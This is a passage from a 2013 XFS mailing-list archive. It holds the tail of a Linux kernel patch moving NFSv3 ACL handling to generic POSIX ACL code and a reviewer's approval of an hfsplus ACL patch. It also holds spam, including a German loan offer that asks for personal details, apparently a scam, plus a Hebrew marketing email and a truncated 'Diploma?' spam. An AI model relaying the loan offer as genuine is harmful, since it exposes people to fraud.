struct posix_acl *acl, @@ -353,7 +183,8 @@ static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, switch (status) { case 0: status = nfs_refresh_inode(inode, fattr); - nfs3_cache_acls(inode, acl, dfacl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + set_cached_acl(inode, ACL_TYPE_DEFAULT, dfacl); break; case -EPFNOSUPPORT: case -EPROTONOSUPPORT: @@ -373,33 +204,27 @@ out: return status; } -int nfs3_proc_setacl(struct inode *inode, int type, struct posix_acl *acl) +int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { struct posix_acl *alloc = NULL, *dfacl = NULL; int status; if (S_ISDIR(inode->i_mode)) { switch(type) { - case ACL_TYPE_ACCESS: - alloc = dfacl = nfs3_proc_getacl(inode, - ACL_TYPE_DEFAULT); - if (IS_ERR(alloc)) - goto fail; - break; - - case ACL_TYPE_DEFAULT: - dfacl = acl; - alloc = acl = nfs3_proc_getacl(inode, - ACL_TYPE_ACCESS); - if (IS_ERR(alloc)) - goto fail; - break; - - default: - return -EINVAL; + case ACL_TYPE_ACCESS: + alloc = dfacl = nfs3_get_acl(inode, ACL_TYPE_DEFAULT); + if (IS_ERR(alloc)) + goto fail; + break; + + case ACL_TYPE_DEFAULT: + dfacl = acl; + alloc = acl = nfs3_get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(alloc)) + goto fail; + break; } - } else if (type != ACL_TYPE_ACCESS) - return -EINVAL; + } if (acl == NULL) { alloc = acl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); @@ -417,24 +242,24 @@ fail: int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, umode_t mode) { - struct posix_acl *dfacl, *acl; - int error = 0; + struct posix_acl *default_acl, *acl; + int error; - dfacl = nfs3_proc_getacl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(dfacl)) { - error = PTR_ERR(dfacl); + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) return (error == -EOPNOTSUPP) ? 0 : error; - } - if (!dfacl) - return 0; - acl = posix_acl_dup(dfacl); - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - goto out_release_dfacl; - error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? - dfacl : NULL); - posix_acl_release(acl); -out_release_dfacl: - posix_acl_release(dfacl); + + error = nfs3_proc_setacls(inode, acl, default_acl); + + if (acl) + posix_acl_release(acl); + if (default_acl) + posix_acl_release(default_acl); return error; } + +const struct xattr_handler *nfs3_xattr_handlers[] = { + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, + NULL, +}; diff --git a/fs/nfs/nfs3proc.c b/fs/nfs/nfs3proc.c index 01b6f6a..ab27a7d1 100644 --- a/fs/nfs/nfs3proc.c +++ b/fs/nfs/nfs3proc.c @@ -904,20 +904,28 @@ static const struct inode_operations nfs3_dir_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; static const struct inode_operations nfs3_file_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; const struct nfs_rpc_ops nfs_v3_clientops = { @@ -965,7 +973,7 @@ const struct nfs_rpc_ops nfs_v3_clientops = { .commit_rpc_prepare = nfs3_proc_commit_rpc_prepare, .commit_done = nfs3_commit_done, .lock = nfs3_proc_lock, - .clear_acl_cache = nfs3_forget_cached_acls, + .clear_acl_cache = forget_all_cached_acls, .close_context = nfs_close_context, .have_delegation = nfs3_have_delegation, .return_delegation = nfs3_return_delegation, diff --git a/fs/nfs/nfs3super.c b/fs/nfs/nfs3super.c index cc471c7..d6a9894 100644 --- a/fs/nfs/nfs3super.c +++ b/fs/nfs/nfs3super.c @@ -12,6 +12,9 @@ static struct nfs_subversion nfs_v3 = { .rpc_vers = &nfs_version3, .rpc_ops = &nfs_v3_clientops, .sops = &nfs_sops, +#ifdef CONFIG_NFS_V3_ACL + .xattr = nfs3_xattr_handlers, +#endif }; static int __init init_nfs_v3(void) diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index 14a4820..632d2bf 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -154,10 +154,6 @@ struct nfs_inode { struct rb_root access_cache; struct list_head access_cache_entry_lru; struct list_head access_cache_inode_lru; -#ifdef CONFIG_NFS_V3_ACL - struct posix_acl *acl_access; - struct posix_acl *acl_default; -#endif /* * This is the cookie verifier used for NFSv3 readdir @@ -582,12 +578,12 @@ extern int nfs_readpage_async(struct nfs_open_context *, struct inode *, * linux/fs/nfs3proc.c */ #ifdef CONFIG_NFS_V3_ACL -extern struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type); -extern int nfs3_proc_setacl(struct inode *inode, int type, - struct posix_acl *acl); +extern struct posix_acl *nfs3_get_acl(struct inode *inode, int type); +extern int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, umode_t mode); extern void nfs3_forget_cached_acls(struct inode *inode); +extern const struct xattr_handler *nfs3_xattr_handlers[]; #else static inline int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, -- 1.7.10.4 From slava@dubeyko.com Sun Dec 1 07:35:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2893A7F56 for ; Sun, 1 Dec 2013 07:35:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C8387304032 for ; Sun, 1 Dec 2013 05:35:13 -0800 (PST) X-ASG-Debug-ID: 1385904909-04bdf06eef4290d0001-NocioJ Received: from alt-proxy27.mail.unifiedlayer.com (alt-proxy27.mail.unifiedlayer.com [69.89.19.24]) by cuda.sgi.com with SMTP id QfGHlbEFBKY6BtN0 for ; Sun, 01 Dec 2013 05:35:10 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 69.89.19.24 Received: (qmail 30252 invoked by uid 0); 1 Dec 2013 13:35:27 -0000 Received: from unknown (HELO host202.hostmonster.com) (74.220.215.202) by oproxy9.mail.unifiedlayer.com with SMTP; 1 Dec 2013 13:35:27 -0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=To:References:Message-Id:Content-Transfer-Encoding:Cc:Date:In-Reply-To:From:Content-Type:Mime-Version:Subject; bh=MpRxkmXsepWvRADYL8kM+X7RTBGRO0SonETcKpOE38w=; b=T8nzO2O6p5m850TLOVgJDDSq1PmglLkRO6GNOPNv9rRqesyzz/gFvkTB/EEu5FtvTDFbpnk4ndIBEg5Gv2p9R+bPQYvbr4vM3XXv/sgzilwAc35ZgDa9xypFuvkqwuzw; Received: from [46.39.244.28] (port=53811 helo=[192.168.24.100]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from ) id 1Vn7Az-0000CA-6G; Sun, 01 Dec 2013 06:35:09 -0700 Subject: Re: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure Content-Type: text/plain; charset=us-ascii From: Vyacheslav Dubeyko In-Reply-To: <20131201120655.410590428@bombadil.infradead.org> Date: Sun, 1 Dec 2013 17:36:51 +0300 Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Content-Transfer-Encoding: quoted-printable Message-Id: <3F8D73A0-9449-42FB-8CFA-D1E4C86FF0B2@dubeyko.com> References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.410590428@bombadil.infradead.org> To: Christoph Hellwig X-Mailer: Apple Mail (2.1085) X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: alt-proxy27.mail.unifiedlayer.com[69.89.19.24] X-Barracuda-Start-Time: 1385904910 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Dec 1, 2013, at 2:59 PM, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig > --- > fs/hfsplus/acl.h | 9 +-- > fs/hfsplus/dir.c | 1 + > fs/hfsplus/inode.c | 3 +- > fs/hfsplus/posix_acl.c | 161 = +++++------------------------------------------- > fs/hfsplus/xattr.c | 5 +- > fs/hfsplus/xattr.h | 2 - > 6 files changed, 24 insertions(+), 157 deletions(-) >=20 Reviewed-by: Vyacheslav Dubeyko The patch looks correct. I think only that it makes sense to add debug = messages in hfsplus_get_posix_acl() and hfsplus_set_posix_acl(). Previously, = debug messages were in hfsplus_xattr_get_posix_acl() and = hfsplus_xattr_set_posix_acl() but the patch removes these methods. Thanks, Vyacheslav Dubeyko. From info@goodloans.com Sun Dec 1 07:55:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7572F7F56 for ; Sun, 1 Dec 2013 07:55:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 610798F804C for ; Sun, 1 Dec 2013 05:55:14 -0800 (PST) X-ASG-Debug-ID: 1385906111-04cb6c537d421d40001-w1Z2WR Received: from wakeup1.customer.myown.be (wakeup1.customer.myown.be [193.189.135.66]) by cuda.sgi.com with ESMTP id Hgd98IMQlgNZrrqA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 05:55:12 -0800 (PST) X-Barracuda-Envelope-From: info@goodloans.com X-Barracuda-Apparent-Source-IP: 193.189.135.66 Received: (qmail 28203 invoked by uid 89); 1 Dec 2013 12:44:56 -0000 To: undisclosed-recipients: ; Subject: Darlehen Angebot 3 =?UTF-8?Q?=25=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: Darlehen Angebot 3 =?UTF-8?Q?=25=E2=80=8F?= Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Sun, 01 Dec 2013 13:44:56 +0100 From: SOLID ROCK LOAN Organization: SOLID ROCK LOAN Reply-To: Mail-Reply-To: Message-ID: X-Sender: info@goodloans.com User-Agent: Roundcube Webmail/0.7.1 X-Barracuda-Connect: wakeup1.customer.myown.be[193.189.135.66] X-Barracuda-Start-Time: 1385906112 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, FUZZY_CREDIT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.50 BSF_SC0_SA620a Custom Rule SA620a Wir bieten persönliche und Business-Darlehen ohne Sicherheiten (nur Identifikation) mit 3 % Zinssatz von € 10.000 bis € 90,000,000 in 1 Jahr auf 20 Jahre Tilgungsfrist überall auf der Welt, wir genießen die Möglichkeit, mit Ihnen Geschäfte zu machen und auch helfen, um Ihre finanziellen Probleme hinter Sie zu setzen, bieten Ihnen einen Kredit. Bei Interesse bitte folgende Angaben. Vollständiger Name:... Kontaktadresse:... Darlehen benötigt:... Darlehen-Dauer:.. From duby.koren@i-walla.com Sun Dec 1 10:38:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM, HTML_IMAGE_ONLY_28,HTML_MESSAGE,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1E2E37F57 for ; Sun, 1 Dec 2013 10:38:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 07CCF8F804C for ; Sun, 1 Dec 2013 08:38:48 -0800 (PST) X-ASG-Debug-ID: 1385915926-04cb6c537d429da0001-w1Z2WR Received: from server1.mega-gusta.com (84.95.248.65.forward.012.net.il [84.95.248.65]) by cuda.sgi.com with ESMTP id 2uoCTWWlWlmbLS3g for ; Sun, 01 Dec 2013 08:38:47 -0800 (PST) X-Barracuda-Envelope-From: duby.koren@I-WALLA.COM X-Barracuda-Apparent-Source-IP: 84.95.248.65 List-Unsubscribe: MIME-Version: 1.0 From: =?utf-8?B?15fXoNeV16og15HXqNeZ15DXldeq?= Sender: duby.koren@I-WALLA.COM To: linux-xfs@oss.sgi.com Reply-To: =?utf-8?B?15fXoNeV16og15HXqNeZ15DXldeq?= Date: 1 Dec 2013 18:37:05 +0200 Subject: =?utf-8?B?16rXlCDXqdeV16jXoyDXqdeV157XoNeZ150g15jXldeo15HXlSDXnNeZ16jXmdeT15Qg15HXntep16fXnCAzLTgg16cnJ9eSINeR15fXldeT16kg15nXnteZ150g?= Content-Type: multipart/alternative; boundary=--boundary_1509752_fe78ef52-50c5-4871-8054-cd2186256bc9 X-ASG-Orig-Subj: =?utf-8?B?16rXlCDXqdeV16jXoyDXqdeV157XoNeZ150g15jXldeo15HXlSDXnNeZ16jXmdeT15Qg15HXntep16fXnCAzLTgg16cnJ9eSINeR15fXldeT16kg15nXnteZ150g?= Message-Id: <20131201163730.36B7E1E8444@server1.mega-gusta.com> X-Barracuda-Connect: 84.95.248.65.forward.012.net.il[84.95.248.65] X-Barracuda-Start-Time: 1385915926 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.33 X-Barracuda-Spam-Status: No, SCORE=1.33 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_IMAGE_ONLY_28, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142759 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.73 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----boundary_1509752_fe78ef52-50c5-4871-8054-cd2186256bc9 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 15DXnSDXkNeZ16DXmiDXqNeV15DXlCDXnteZ15nXnCDXlteUINeQ16DXkCDXnNeX16Uv15kg INeb15DXnyDXqteUINep15XXqNejINep15XXntefIC0g15zXlNeo15bXmdeUINeV15zXkNeo 15LXmdeUISEhISDXntep16fXlCDXqdeV16jXoyDXqdeV157Xnywg15PXnCDXp9ec15XXqNeZ 15XXqiAsINeY15XXqNeR15Ug15zXlNem16jXqiDXlNeZ16fXpNeZ150gLSANCgkJCQkNCgkJ CQkNCtec15XXp9eXINep15XXntefINee15TXkteV16Mg15XXlNeV16TXmiDXkNeV16rXlSDX nNeQ16DXqNeS15nXlCEgDQoJCQkJDQoJCQkJDQrXnteq15DXmdedINec15DXoNep15nXnSDX qdec15Ag16LXldep15nXnSDXodek15XXqNeYLCDXnNee16LXldeg15nXmdeg15nXnSDXnNeX 15jXkSDXkNeqINeU15LXldejLCANCgkJDQoJCQ0KKNeR15nXl9eV15Mg15zXkdei15zXmSDX qdeV157XnyDXkdeW16jXldei15XXqiwg15HXkdeY158sINeR15nXqNeb15nXmdedINeV15HX mdep15HXnyksINeQ15Ug15vXqteV16HXpNeqINee16jXpSDXldeQ16DXqNeS15nXlC4gDQoJ CQ0KCQkNCteq15Qg16bXnteX15kg15jXkdei15kg15zXl9ec15XXmNeZ158sINee15XXqNeb 15Eg157Xqtei16jXldeR16og16bXnteX15nXnSDXmdeZ15fXldeT15nXqiDXlNek15XXotec 16og157XmdeZ15MuIA0KCQkNCgkJDQrXnteb15nXnCDXqdec15nXqSDXnteb157XldeqINeU 16fXpNeQ15nXnyDXkden16TXlCDXqNeS15nXnC4g15zXlNeW157XoNeqINeU157Xldem16gg 15zXl9elINeb15DXnyANCgkNCgkNCiAgICDXlNeV15PXoteUINeW15Ug16DXqdec15fXlCDX nC0gbGludXgteGZzQG9zcy5zZ2kuY29tICDXotecINeZ15PXmSAgZGlldGFsaUBnbWFpbC5j b20gINei15wg157XoNeqINec15TXodeZ16gg15DXqiDXotem157XmiDXnteo16nXmdee16og 15TXqtek15XXpteUINec15fXpS/XmSAg15vXkNefICAg ----boundary_1509752_fe78ef52-50c5-4871-8054-cd2186256bc9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgYWxpZ249ImNlbnRlciIg c3R5bGU9ImRpcmVjdGlvbjpydGw7IHdpZHRoOiA3MDBweDsgdGFibGUtbGF5b3V0OiBmaXhl ZDsiPjx0cj48dGQgdmFsaWduPSJib3R0b20iIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250 LWZhbWlseTpBcmlhbDtmb250LXNpemU6OC41cHQ7Ij7XkNedINeQ15nXoNeaINeo15XXkNeU INee15nXmdecINeW15Qg15DXoNeQINec15fXpS/XmSA8YSBocmVmPSJodHRwOi8vZW1haWxz LWRpcmVjdC5jb20vTWFpbC9WaWV3RU1haWwuYXNweD9FSUQ9cVM3N25KVHQ1T2lIeE1iQ0wy d0VqZyUzZCUzZCZTTUlEPUU1SU02YmZyU0ZRJTNkJkNJRD1hcnJJd0Y1bWRIRnh5VXlqSm9k R2M2NkpTQW5rQTg4SCZVSUQ9QjB4eGF5ZnZMSXFPY1BTWWxpSXhrUSUzZCUzZCI+15vXkNef PC9hPjwvdGQ+PC90cj48L3RhYmxlPjxiciAvPjxkaXYgYWxpZ249ImNlbnRlciI+PFRBQkxF IHN0eWxlPSJ3aWR0aDo3MDBweDtkaXJlY3Rpb246cnRsO3RhYmxlLWxheW91dDphdXRvO3Rl eHQtYWxpZ246cmlnaHQ7Ij4NCjxUUj48VEQ+DQo8cCBzdHlsZT0idGV4dC1hbGlnbjogY2Vu dGVyIj48YnIgLz4NCgk8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyNnB4Ij48c3Ryb25nPjxz cGFuIHN0eWxlPSJjb2xvcjojZmYwMDAwOyI+16rXlCDXqdeV16jXoyDXqdeV157XnyAtINec 15TXqNeW15nXlCDXldec15DXqNeS15nXlCEhISE8L3NwYW4+DQoJCQk8YnIgLz4NCgkJCTxz cGFuIHN0eWxlPSJjb2xvcjojMDA4MDAwOyI+157Xqden15Qg16nXldeo16Mg16nXldee158s INeT15wg16fXnNeV16jXmdeV16ogLCDXmNeV16jXkdeVINec15TXpteo16og15TXmden16TX mdedIC08YnIgLz4NCgkJCQkNCgkJCQkNCtec15XXp9eXINep15XXntefINee15TXkteV16Mg 15XXlNeV16TXmiDXkNeV16rXlSDXnNeQ16DXqNeS15nXlCE8YnIgLz4NCgkJCQkNCgkJCQkN Ctee16rXkNeZ150g15zXkNeg16nXmdedINep15zXkCDXoteV16nXmdedINeh16TXldeo15gs INec157XoteV16DXmdeZ16DXmdedINec15fXmNeRINeQ16og15TXkteV16MsPC9zcGFuPjwv c3Ryb25nPg0KCQk8YnIgLz4NCgkJDQoJCQ0KKNeR15nXl9eV15Mg15zXkdei15zXmSDXqdeV 157XnyDXkdeW16jXldei15XXqiwg15HXkdeY158sINeR15nXqNeb15nXmdedINeV15HXmdep 15HXnyksINeQ15Ug15vXqteV16HXpNeqINee16jXpSDXldeQ16DXqNeS15nXlC48YnIgLz4N CgkJDQoJCQ0K16rXlCDXptee15fXmSDXmNeR16LXmSDXnNeX15zXldeY15nXnywg157Xldeo 15vXkSDXnteq16LXqNeV15HXqiDXptee15fXmdedINeZ15nXl9eV15PXmdeqINeU16TXldei 15zXqiDXnteZ15nXky48YnIgLz4NCgkJDQoJCQ0K157Xm9eZ15wg16nXnNeZ16kg157Xm9ee 15XXqiDXlNen16TXkNeZ158g15HXp9ek15Qg16jXkteZ15wuPGJyIC8+DQoJCTxiciAvPg0K CQk8YSBocmVmPSJodHRwOi8vZW1haWxzLWRpcmVjdC5jb20vTWFpbC9Db3VudExpbmsuYXNw eD9TSUQ9MTk1OTMwNTc4MiZMSUQ9NDA0NzQ2NDMiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzgw MDA4MCI+PHNwYW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmZmZmZmYiPtec15TXltee 16DXqiDXlNee15XXpteoINec15fXpSDXm9eQ1588L3NwYW4+PC9zcGFuPjwvYT48L3NwYW4+ DQoJPGJyIC8+DQoJDQoJDQombmJzcDs8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRl cjsiPjxpbWcgYWx0PSIiIGhlaWdodD0iMjI3IiBzcmM9Imh0dHA6Ly9lbWFpbHMtZGlyZWN0 LmNvbS9ja2ZpbmRlci91c2VyZmlsZXMvVXNlcjE3ODIvaW1hZ2VzL9eq15QlMjAyKDEpLmpw ZyIgd2lkdGg9IjM2NiIgLz48L3A+DQo8L1REPjwvVFI+DQo8L1RBQkxFPjwvZGl2PjxiciAv Pjx0YWJsZSBkaXI9InJ0bCIgc3R5bGU9ImZvbnQtZmFtaWx5OkFyaWFsOyBmb250LXNpemU6 IDguNXB0OyB3aWR0aDogNzAwcHg7Ij48VFI+PFREIGFsaWduPSJjZW50ZXIiPjxzcGFuIHN0 eWxlPSJjb2xvcjogcmdiKDEyOCwgMTI4LCAxMjgpOyBmb250LXNpemU6IDlwdDsgZm9udC1m YW1pbHk6IEFyaWFsOyI+PC9zcGFuPjxiciAvPjxociAvPiZuYnNwOzxiciAvPjxzcGFuIHN0 eWxlPSJjb2xvcjogYmxhY2s7IGZvbnQtc2l6ZTogOC41cHQ7IGZvbnQtZmFtaWx5OiBBcmlh bDsiPteU15XXk9ei15Qg15bXlSDXoNep15zXl9eUINecLSBsaW51eC14ZnNAb3NzLnNnaS5j b20gINei15wg15nXk9eZICBkaWV0YWxpQGdtYWlsLmNvbSA8YnIgLz7XotecINee16DXqiDX nNeU16HXmdeoINeQ16og16LXptee15og157XqNep15nXnteqINeU16rXpNeV16bXlCDXnNeX 16Uv15kgPGEgaHJlZj0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL0NvbnRhY3RzL1JlbW92 ZUZyb21MaXN0cy5hc3B4P0lEPWlxelJUWnFUSVlUbTZyTkwzbVFGSHNOVWFPeW9NQUNZY1ZK aCUyYktETVNCRlBOUmZ5U1hLS09Gb1EzRHolMmJtM3h2JlVJRD1CMHh4YXlmdkxJcU9jUFNZ bGlJeGtRJTNkJTNkJkVJRD1xUzc3bkpUdDVPaUh4TWJDTDJ3RWpnJTNkJTNkIj7Xm9eQ1588 L2E+PC9zcGFuPjxiciAvPiZuYnNwOzxiciAvPjwvVEQ+PC9UUj48VFI+PHRkPjxpbWcgc3Jj PSJodHRwOi8vZW1haWxzLWRpcmVjdC5jb20vVXNlclBpY3R1cmVzLzE5NTkzMDU3ODIuZ2lm IiB3aWR0aD0iNSIgaGVpZ2h0PSIyIiBib3JkZXI9IjAiIC8+PC90ZD48L3RyPjwvdGFibGU+ PC9kaXY+PC9CT0RZPjwvSFRNTD4= ----boundary_1509752_fe78ef52-50c5-4871-8054-cd2186256bc9-- From 9bj3yjg2kz@myway.com Mon Dec 2 03:48:24 2013 Return-Path: <9bj3yjg2kz@myway.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,TVD_SPACE_RATIO autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B9BC7F57 for ; Mon, 2 Dec 2013 03:48:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C0B5304039 for ; Mon, 2 Dec 2013 01:48:21 -0800 (PST) X-ASG-Debug-ID: 1385977696-04cbb04169463430001-w1Z2WR Received: from outbound001.roc2.bluetie.com (outbound001.roc2.bluetie.com [208.89.132.141]) by cuda.sgi.com with ESMTP id fXQyTGC2B6adJONa (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 02 Dec 2013 01:48:16 -0800 (PST) X-Barracuda-Envelope-From: 9bj3yjg2kz@myway.com X-Barracuda-Apparent-Source-IP: 208.89.132.141 Received: from web006.roc2.bluetie.com ([10.200.2.100]) by outbound001.roc2.bluetie.com with outbound001 id wZoF1m00E29U4Qi01ZoFTf; Mon, 02 Dec 2013 04:48:15 -0500 X-CMAE-OUT-Analysis: v=2.0 cv=M7DP2lMs c=1 sm=1 a=oti87C7NwtcA:10 a=IkcTkHD0fZMA:10 a=deDS6JXDAAAA:8 a=QoHJ8kPOAAAA:8 a=dPKYtPkXxLkA:10 a=e_mZMNe5AAAA:20 a=BEmZyuP7zz9zJT6FHV0A:9 a=QEXdDO2ut3YA:10 a=xs61yqQFbOwA:10 a=jPYMW6S8CTwA:10 a=o0eJl8sZrB0A:10 a=zaTdXJRsuiIA:10 a=jjr//+d8++h3idp61RL+V+rVJvg=:19 a=jkwP77aQ2psP8Imo3Zf8GXsARoQ=:19 a=L9C/gGIz1Vpswtb6eSrjaQ==:117 X-CMAE-OUT-Score: 0.00 Received: from web006.roc2.bluetie.com (localhost.localdomain [127.0.0.1]) by web006.roc2.bluetie.com (Postfix) with ESMTP id E15E8AE0134 for ; Mon, 2 Dec 2013 04:48:15 -0500 (EST) Message-ID: <20131202044630.8157@web006.roc2.bluetie.com> X-HTTP-Received: from 9bj3yjg2kz.myway [92.46.119.60] by web006.roc2.bluetie.com (BlueTie WebMail ); Mon, 02 Dec 2013 04:46:30 -0500 X-Mailer: BlueTie MTA Date: Mon, 02 Dec 2013 04:46:30 -0500 Cc: To: 9bj3yjg2kz@myway.com From: "Full Name" <9bj3yjg2kz@myway.com> Importance: normal Subject: Diploma? Content-transfer-encoding: quoted-printable X-ASG-Orig-Subj: Diploma? Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: outbound001.roc2.bluetie.com[208.89.132.141] X-Barracuda-Start-Time: 1385977696 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.50 